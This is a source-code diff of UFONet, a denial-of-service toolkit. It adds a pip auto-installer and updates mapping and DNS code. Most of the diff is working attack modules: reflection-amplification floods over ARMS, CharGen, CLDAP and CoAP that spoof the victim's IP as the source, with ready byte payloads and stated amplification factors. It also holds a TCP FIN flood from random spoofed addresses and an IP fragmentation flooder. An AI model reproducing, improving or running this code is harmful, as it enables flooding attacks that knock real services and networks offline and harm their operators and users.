+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, subprocess, importlib
+
+PIP_FLAGS = ["--no-warn-script-location", "--root-user-action=ignore", "--break-system-packages"]
+
+def pip_install(pip_name):
+    print("[Info] [AI] [AUTO-INSTALL] Trying to install missing lib: '" + pip_name + "' ... -> [WAIT!]")
+    cmd = [sys.executable, "-m", "pip", "install", pip_name] + PIP_FLAGS
+    try:
+        r = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
+    except Exception as e:
+        print("[Error] [AI] [AUTO-INSTALL] Could not run pip: " + str(e))
+        return False
+    if r.returncode != 0:
+        err = (r.stderr or r.stdout or "").strip().splitlines()
+        tail = "\n  ".join(err[-6:]) if err else "(no output)"
+        print("[Error] [AI] [AUTO-INSTALL] pip install '" + pip_name + "' failed:")
+        print("  " + tail)
+        return False
+    print("[Info] [AI] [AUTO-INSTALL] '" + pip_name + "' installed -> [OK!]")
+    return True
+
+def ensure(module_name, pip_name=None):
+    pkg = pip_name or module_name
+    try:
+        return importlib.import_module(module_name)
+    except ImportError:
+        if not pip_install(pkg):
+            print("[Error] [AI] You can install it manually with: python3 -m pip install " + pkg + " --break-system-packages")
+            return None
+        for cached in list(sys.modules):
+            if cached == module_name or cached.startswith(module_name + "."):
+                del sys.modules[cached]
+        try:
+            return importlib.import_module(module_name)
+        except ImportError as e:
+            print("[Error] [AI] Library still missing after install attempt: '" + module_name + "': " + str(e))
+            print("[Error] [AI] You can install it manually with: python3 -m pip install " + pkg + " --break-system-packages")
+            return None

+ 41 - 18
core/ajaxmap.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -16,9 +16,12 @@ from urllib.parse import urlparse as urlparse
 from .main import UFONet
 try:
     import pygeoip
-except:
-    print("\n[Error] [AI] Cannot import lib: pygeoip. \n\n To install it try:\n\n $ 'sudo apt-get install python3-geoip libgeoip-dev libgeoip1'\n")
-    sys.exit(2)
+except ImportError:
+    from core._ensure import ensure
+    if ensure('pygeoip') is None:
+        print("\n[Error] [AI] Cannot import lib: pygeoip. \n\n To install it try:\n\n $ 'sudo apt-get install python3-geoip libgeoip-dev libgeoip1'\n")
+        sys.exit(2)
+    import pygeoip
 
 class AjaxMap(object):
     def __init__(self):
@@ -27,20 +30,34 @@ class AjaxMap(object):
         self._geoasn=None
         self._geoipstatus='nomap'
         self._err=''
+        self.zombies = []
         ufonet = UFONet()
         ufonet.create_options()
         try:
-            self.zombies = ufonet.extract_zombies()
-            aliens_army = ufonet.extract_aliens()
-            droids_army = ufonet.extract_droids()
-            ucavs_army = ufonet.extract_ucavs()
-            rpcs_army = ufonet.extract_rpcs()
-            self.zombies.extend(aliens_army)
-            self.zombies.extend(droids_army)
-            self.zombies.extend(ucavs_army)
-            self.zombies.extend(rpcs_army)
-        except:
-            return
+            _z = ufonet.extract_zombies() or []
+            self.zombies.extend(_z)
+        except Exception:
+            pass
+        for _fn in (ufonet.extract_aliens, ufonet.extract_droids, ufonet.extract_ucavs,
+                    ufonet.extract_rpcs, ufonet.extract_ntps, ufonet.extract_dnss,
+                    ufonet.extract_snmps):
+            try:
+                _v = _fn() or []
+                self.zombies.extend(_v)
+            except Exception:
+                pass
+        for _fpath in ('botnet/memcached.txt', 'botnet/chargen.txt', 'botnet/cldap.txt',
+                       'botnet/ssdp.txt', 'botnet/qotd.txt', 'botnet/tftp.txt',
+                       'botnet/wsdisco.txt', 'botnet/coap.txt', 'botnet/mssql.txt',
+                       'botnet/arms.txt', 'botnet/plex.txt', 'botnet/netbios.txt',
+                       'botnet/ripv1.txt', 'botnet/middlebox.txt'):
+            try:
+                from core._botnet import load_botnet_file
+                _entries, _empty, _all_ph = load_botnet_file(_fpath)
+                if _entries and not _empty and not _all_ph:
+                    self.zombies.extend(_entries)
+            except Exception:
+                pass
 
     def get_err(self):
         return self._err
@@ -142,8 +159,8 @@ class AjaxMap(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                a = r.query(url.netloc, "A") # A record
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:
@@ -246,8 +263,14 @@ class AjaxMap(object):
             target = self.geo_ip(tn)
             if target is None:
                 return "doll waiting for geoip data !"
+            try:
+                _lat = float(target['latitude'])
+                _lon = float(target['longitude'])
+            except (ValueError, TypeError):
+                _lat = 0.0
+                _lon = 0.0
             return """ doll up !<script>
-doll.setData(Array(new L.LatLng("""+str(target['latitude'])+","+str(target['longitude'])+"),'"+target['city']+"','"+target['country']+"','"+target['country_code']+"','"+target['asn']+"','"+target['ip']+"','"+target['host_name']+"'))\nufomsg('[Info] Adding target: """+tn+"""...')\ndoll.show() </script>"""
+doll.setData(Array(new L.LatLng("""+str(_lat)+","+str(_lon)+"),'"+target['city']+"','"+target['country']+"','"+target['country_code']+"','"+target['asn']+"','"+target['ip']+"','"+target['host_name']+"'))\nufomsg('[Info] Adding target: """+tn+"""...')\ndoll.show() </script>"""
         if 'doll' in list(pGet.keys()):
             tn=pGet['doll']
             return """<script>

+ 2 - 5
core/doll.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,10 +11,7 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 from threading import Thread
 import socket, time, os, base64, re
-try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
+from urllib.parse import urlparse
 class Needle(Thread):
     def __init__(self, client, addr, parent):
         Thread.__init__(self)

+ 3 - 3
core/herd.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -81,7 +81,7 @@ class Herd(object):
     # head count (+/- headless zombies)
     # active thread count = 1 principal + 1/zombie
     def no_more_zombies(self):
-        ac=threading.active_count()-1
+        ac=threading.active_count()
         options = self.ufonet.options
         if options.verbose == True:
             if ac>self.living:
@@ -89,7 +89,7 @@ class Herd(object):
                     print("[Info] [AI] [Control] Number of Active [ARMY] returning from battle front: "+ str(ac-self.living))
                     self.ufonet.ac_control.append(ac-self.living)
         with self.lock:
-            return ac==self.living
+            return ac<=self.living
 
     # retrieve result by zombie name
     def get_result(self,zombie):

Різницю між файлами не показано, бо вона завелика
+ 7334 - 7334
core/js/leaflet/leaflet-src.js


+ 51 - 51
core/js/leaflet/leaflet.ie.css

@@ -1,51 +1,51 @@
-.leaflet-vml-shape {
-	width: 1px;
-	height: 1px;
-	}
-.lvml {
-	behavior: url(#default#VML);
-	display: inline-block;
-	position: absolute;
-	}
-
-.leaflet-control {
-	display: inline;
-	}
-
-.leaflet-popup-tip {
-	width: 21px;
-	_width: 27px;
-	margin: 0 auto;
-	_margin-top: -3px;
-
-	filter: progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678);
-	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678)";
-	}
-.leaflet-popup-tip-container {
-	margin-top: -1px;
-	}
-.leaflet-popup-content-wrapper, .leaflet-popup-tip {
-	border: 1px solid #999;
-	}
-.leaflet-popup-content-wrapper {
-	zoom: 1;
-	}
-
-.leaflet-control-zoom,
-.leaflet-control-layers {
-	border: 3px solid #999;
-	}
-.leaflet-control-layers-toggle {
-	}
-.leaflet-control-attribution,
-.leaflet-control-layers,
-.leaflet-control-scale-line {
-	background: white;
-	}
-.leaflet-zoom-box {
-	filter: alpha(opacity=50);
-	}
-.leaflet-control-attribution {
-	border-top: 1px solid #bbb;
-	border-left: 1px solid #bbb;
-	}
+.leaflet-vml-shape {
+	width: 1px;
+	height: 1px;
+	}
+.lvml {
+	behavior: url(#default#VML);
+	display: inline-block;
+	position: absolute;
+	}
+
+.leaflet-control {
+	display: inline;
+	}
+
+.leaflet-popup-tip {
+	width: 21px;
+	_width: 27px;
+	margin: 0 auto;
+	_margin-top: -3px;
+
+	filter: progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678);
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(M11=0.70710678, M12=0.70710678, M21=-0.70710678, M22=0.70710678)";
+	}
+.leaflet-popup-tip-container {
+	margin-top: -1px;
+	}
+.leaflet-popup-content-wrapper, .leaflet-popup-tip {
+	border: 1px solid #999;
+	}
+.leaflet-popup-content-wrapper {
+	zoom: 1;
+	}
+
+.leaflet-control-zoom,
+.leaflet-control-layers {
+	border: 3px solid #999;
+	}
+.leaflet-control-layers-toggle {
+	}
+.leaflet-control-attribution,
+.leaflet-control-layers,
+.leaflet-control-scale-line {
+	background: white;
+	}
+.leaflet-zoom-box {
+	filter: alpha(opacity=50);
+	}
+.leaflet-control-attribution {
+	border-top: 1px solid #bbb;
+	border-left: 1px solid #bbb;
+	}

Різницю між файлами не показано, бо вона завелика
+ 1 - 1
core/js/treemap.js


+ 12 - 2
core/js/ufo.js

@@ -126,8 +126,13 @@ function Doll(name){
 	this.asn = data[4]
 	this.ip = data[5]
 	this.hostname = data[6]
+	while(pending_fires.length>0){
+	    var z = pending_fires.shift()
+	    try { z.fire() } catch(e){}
+	}
     }
 }
+var pending_fires = []
 
 // object for each zombie
 function zombieEntry(name,data){
@@ -174,12 +179,17 @@ function zombieEntry(name,data){
 	this.fire()
     }
     this.fire = function(){
-	if(doll){
+	if(typeof doll === 'undefined' || !doll){
+	    return
+	}
+	if(doll.latlong){
 	    var src = this.latlong
 	    var dest = doll.latlong
 	    var b = new R.BezierAnim([src, dest])
 	    map.addLayer(b)
 	    this.drawnLayers.push(b)
+	} else {
+	    pending_fires.push(this)
 	}
     }
     this.makeCustomMarker= function(){
@@ -383,7 +393,7 @@ function initMap (targetdoll=false) {
     }
     osm_sat.addTo(map)
     var baseMaps = {
-	"Sats": osm_sat,
+	"Light": osm_sat,
     }
     //  initializing controls:
     new L.control.layers(baseMaps, null, {collapsed:false}).addTo(map)

Різницю між файлами не показано, бо вона завелика
+ 879 - 362
core/main.py


+ 1 - 1
core/mods/__init__.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 75 - 0
core/mods/arms.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+arms_file = "botnet/arms.txt"
+
+# UFONet Apple Remote Management Service Amplification (POLISH) - amp factor ~36x (UDP/3283)
+def polishize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(arms_file)
+        if _empty:
+            print("[Error] [AI] [POLISH] botnet/arms.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("POLISH", arms_file, kind="arms")
+            return
+        payload = b'\x00\x14\x00\x01\x00\x03'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [POLISH] Wiping 'mirror' ["+str(n)+"] over the orchard! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=3283) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [POLISH] Wiped 'mirror' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except Exception:
+                    print("[Info] [AI] [POLISH] Wiped 'mirror' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [POLISH] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class ARMS(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] ARMS Amplification (POLISH) is ready to fire: [", rounds, "mirrors ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [POLISH] Targeting 'localhost' -> [OK!]\n")
+            return
+        polishize(ip, rounds)

+ 75 - 0
core/mods/chargen.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+chargen_file = "botnet/chargen.txt"
+
+# UFONet CharGen Amplification (FOUNTAIN) - amp factor ~358x (RFC 864)
+def fountainize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(chargen_file)
+        if _empty:
+            print("[Error] [AI] [FOUNTAIN] botnet/chargen.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("FOUNTAIN", chargen_file, kind="chargen")
+            return
+        payload = b'\x00'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [FOUNTAIN] Opening 'spout' ["+str(n)+"] and flooding! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=19) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [FOUNTAIN] Open 'spout' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [FOUNTAIN] Open 'spout' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [FOUNTAIN] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class CHARGEN(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] CharGen Amplification (FOUNTAIN) is ready to fire: [", rounds, "spouts ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [FOUNTAIN] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        fountainize(ip, rounds)

+ 78 - 0
core/mods/cldap.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+cldap_file = "botnet/cldap.txt"
+
+# UFONet CLDAP Amplification (WORMHOLE) - amp factor ~56x (LDAP rootDSE searchRequest)
+def wormholize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(cldap_file)
+        if _empty:
+            print("[Error] [AI] [WORMHOLE] botnet/cldap.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("WORMHOLE", cldap_file, kind="cldap")
+            return
+        payload = (b'\x30\x84\x00\x00\x00\x2d\x02\x01\x01\x63\x84\x00\x00\x00\x24'
+                   b'\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01'
+                   b'\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73'
+                   b'\x30\x00')
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [WORMHOLE] Bending 'spacetime' ["+str(n)+"] toward target! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=389) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [WORMHOLE] Bent 'spacetime' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [WORMHOLE] Bent 'spacetime' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [WORMHOLE] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class CLDAP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] CLDAP Amplification (WORMHOLE) is ready to fire: [", rounds, "spacetimes ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [WORMHOLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        wormholize(ip, rounds)

+ 77 - 0
core/mods/coap.py

@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+coap_file = "botnet/coap.txt"
+
+# UFONet CoAP Amplification (NEBULA) - amp factor ~30x (RFC 7252, GET /.well-known/core)
+def nebulize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(coap_file)
+        if _empty:
+            print("[Error] [AI] [NEBULA] botnet/coap.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("NEBULA", coap_file, kind="coap")
+            return
+        payload = (b'\x40\x01\x12\x34'
+                   b'\xbb' + b'.well-known'
+                   + b'\x04' + b'core')
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [NEBULA] Stretching 'nebula' ["+str(n)+"] toward iot mesh! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=5683) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [NEBULA] Stretched 'nebula' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [NEBULA] Stretched 'nebula' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [NEBULA] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class COAP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] CoAP Amplification (NEBULA) is ready to fire: [", rounds, "nebulae ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [NEBULA] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        nebulize(ip, rounds)

+ 13 - 13
core/mods/droper.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet IP FRAGMENTATION flooder (DROPER)
 def randIP():
@@ -46,9 +46,9 @@ def droperize(ip, sport, rounds):
             TCP_l.sport = s_zombie_port
             TCP_l.dport = sport
             try:
-                payload="A"*254+"B"*2 # 256b = 33frags
+                payload="A"*254+"B"*2 # 256b = 32frags @ 8B
                 packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload
-                frags=fragment(packet,fragsize=2) # fragment size
+                frags=fragment(packet,fragsize=8) # fragment size (min allowed by IP spec)
                 for f in frags:
                     send(f, verbose=0)
                 print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]")
@@ -73,9 +73,9 @@ class DROPER(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 78 - 0
core/mods/finflood.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+# UFONet TCP FIN flood (RIPPER) - variant of UFOACK/UFORST with FIN flag
+def randIP():
+    return ".".join(map(str, (random.randint(0,255) for _ in range(4))))
+
+def randInt():
+    return random.randint(1, 65535)
+
+def ripperize(ip, sport, rounds):
+    n=0
+    try:
+        for i in range(int(rounds)):
+            n += 1
+            try:
+                src_ip = randIP()
+                src_port = randInt()
+                seq = randInt()
+                packet = IP(src=src_ip, dst=ip) / TCP(sport=src_port, dport=sport, flags='FA', seq=seq)
+                send(packet, verbose=0)
+                print("[Info] [AI] [RIPPER] FIN flux ["+str(n)+"] from ["+src_ip+"] -> [HIT!]")
+            except Exception:
+                print("[Error] [AI] [RIPPER] Failed FIN flux ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [RIPPER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class FINFLOOD(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP FIN flood (RIPPER) is ready to fire: [", rounds, "fluxes ]")
+        port = 80
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        if '/' in target:
+            target = target.split('/', 1)[0]
+        if ':' in target:
+            target, _p = target.rsplit(':', 1)
+            try:
+                port = int(_p)
+            except Exception:
+                pass
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                a = r.resolve(target, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [RIPPER] Targeting 'localhost' -> [OK!]\n")
+        ripperize(ip, port, rounds)

+ 12 - 9
core/mods/fraggle.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,10 +12,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random, socket
 import urllib.parse
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet UDP broadcast attack (FRAGGLE)
 def randInt():
@@ -34,8 +37,8 @@ def sIP(base_stations): # extract 'base stations'
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
-                a = r.query(url.netloc, "A") # A record
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     s_zombie_ip = str(rd)
                 bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
@@ -95,9 +98,9 @@ class FRAGGLE(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 74 - 0
core/mods/goldeneye.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, string, time
+try:
+    import requests
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+except ImportError:
+    from core._ensure import ensure
+    if ensure('requests') is None or ensure('urllib3') is None:
+        print("\nError importing: requests lib.\n")
+        sys.exit(2)
+    import requests
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+
